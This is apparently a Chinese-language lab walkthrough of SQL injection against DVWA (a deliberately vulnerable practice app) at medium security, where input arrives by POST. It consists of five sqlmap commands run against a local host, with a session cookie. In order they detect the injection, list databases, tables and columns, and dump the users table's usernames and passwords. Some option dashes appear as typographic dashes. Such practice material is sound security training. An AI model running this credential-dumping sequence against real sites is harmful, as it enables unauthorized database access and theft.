中級注入的提交方式從get請求改為post請求，可以用burp抓包注入或抓注入點
1 . 判斷是否有注入
sqlmap -u "http://192.168.242.1/dvw/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=svb0idqkd55tee4mbckj3ejht5" --data "id=2&Submit=Submit"
2. 爆數據庫名
sqlmap -u "http://192.168.242.1/dvw/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=svb0idqkd55tee4mbckj3ejht5" --data "id=2&Submit=Submit" –dbs
3. 爆數據庫的表
sqlmap -u "http://192.168.242.1/dvw/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=svb0idqkd55tee4mbckj3ejht5" --data "id=2&Submit=Submit" –tables –D “dvwa”
4 . 爆數據庫表的字段
sqlmap -u "http://192.168.242.1/dvw/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=svb0idqkd55tee4mbckj3ejht5" --data "id=2&Submit=Submit" –columns –D “dvwa” –T “users”
5．爆賬號密碼
sqlmap -u "http://192.168.242.1/dvw/vulnerabilities/sqli/" --cookie="security=medium; PHPSESSID=svb0idqkd55tee4mbckj3ejht5" --data "id=2&Submit=Submit" --dump -D "dvwa" -T "users" -C "user,password"
